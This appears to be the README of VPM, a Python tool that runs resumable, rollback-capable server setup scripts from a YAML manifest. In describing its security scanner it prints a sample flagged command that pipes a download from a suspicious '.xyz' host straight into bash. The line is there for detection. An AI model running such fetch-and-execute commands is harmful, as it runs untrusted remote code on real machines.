VPM — Virtual Package Manager

Resumable, trackable script orchestration for VPS and local environments.
Define steps. Run them. Resume if interrupted. Rollback if needed.

Why VPM?

You SSH into a server. You need to run 30+ commands to set up Docker, Nginx, firewall, SSL, your app. Halfway through, your connection drops.

With VPM:

• Write once — Define steps in a simple manifest file
• Resume anywhere — Interrupted? Just run vpm install again
• Track everything — Every step's status, exit code, and full output logged
• Stay safe — Built-in security scanner catches risky commands before execution
• Undo mistakes — Rollback support reverses completed steps
• Resolve dependencies — App B needs App A? VPM handles the order
• Zero dependencies — Pure Python 3.10+ stdlib. Nothing to install but VPM itself

Install

pip install vpmx        # or: pipx install vpmx
vpm doctor              # verify everything works

60-Second Demo

# Create a project
mkdir ~/server-setup && cd ~/server-setup
vpm init

# Edit the manifest (or let an AI agent generate one)
nano vpm-manifest.yaml

# Preview what will run
vpm install --dry-run

# Scan for security issues
vpm audit

# Execute
vpm install

# Check status anytime
vpm status

Manifest Format

# vpm-manifest.yaml

[system_base] Core packages
- label: Update system
  run: sudo apt-get update -y && sudo apt-get upgrade -y

- label: Install essentials
  run: sudo apt-get install -y curl wget git htop
  rollback: sudo apt-get remove -y curl wget git htop

[docker] Docker Engine
requires: system_base

- label: Install Docker
  run: |
    curl -fsSL https://get.docker.com | sh
    sudo usermod -aG docker $USER
  rollback: sudo apt-get remove -y docker-ce

- label: Verify
  run: docker --version

That's it. [app_name], requires:, label:, run:, rollback:. Full manifest docs →

Commands

Full commands reference →

Security Scanner

VPM scans manifests before execution — catching dangerous patterns automatically:

⚠ HIGH: Downloading and piping directly to shell interpreter
  Step 1: Install sketchy tool
    curl http://sketchy.xyz/payload | bash
  → Download first, inspect, then execute.

◐ MEDIUM: URL uses suspicious TLD: .xyz
  → Verify this domain is legitimate.

Configurable levels: strict, warn (default), permissive, off. Security docs →

Remote Manifests

Run manifests directly from URLs or GitHub repos:

vpm run https://example.com/setup.yaml
vpm run github:user/repo                    # fetches vpm-manifest.yaml
vpm run github:user/repo/path/file.yaml     # specific file

Security scanning is mandatory for remote manifests.

Crash Recovery

You:     vpm install          # starts running
SSH:     *disconnects*        # step 3 of 8 was running
You:     vpm install          # reconnect, run again
VPM:     Steps 1-2 ✔ skip    # already done
         Step 3 → re-run     # was interrupted
         Steps 4-8 → run     # continue normally

The lock file tracks every step atomically. No corruption, no re-running completed work.

Examples

Real-world manifests in examples/:

• docker.yaml — Docker Engine & Compose
• node-server.yaml — Node.js + PM2 + Nginx
• security-hardening.yaml — UFW + fail2ban + SSH hardening
• dev-environment.yaml — Python + Node + Rust dev setup
• lamp-stack.yaml — Apache + MySQL + PHP

For AI Agents

VPM is designed to work with AI assistants. Ask your AI to "create a VPM manifest to set up X" and it works.

• AGENTS.md — Concise reference for AI context windows
• llms.txt — Ultra-condensed reference

Documentation

Contributing

See CONTRIBUTING.md. No external dependencies — pure Python stdlib.

License

MIT — Mohammed A. Al-Kebsi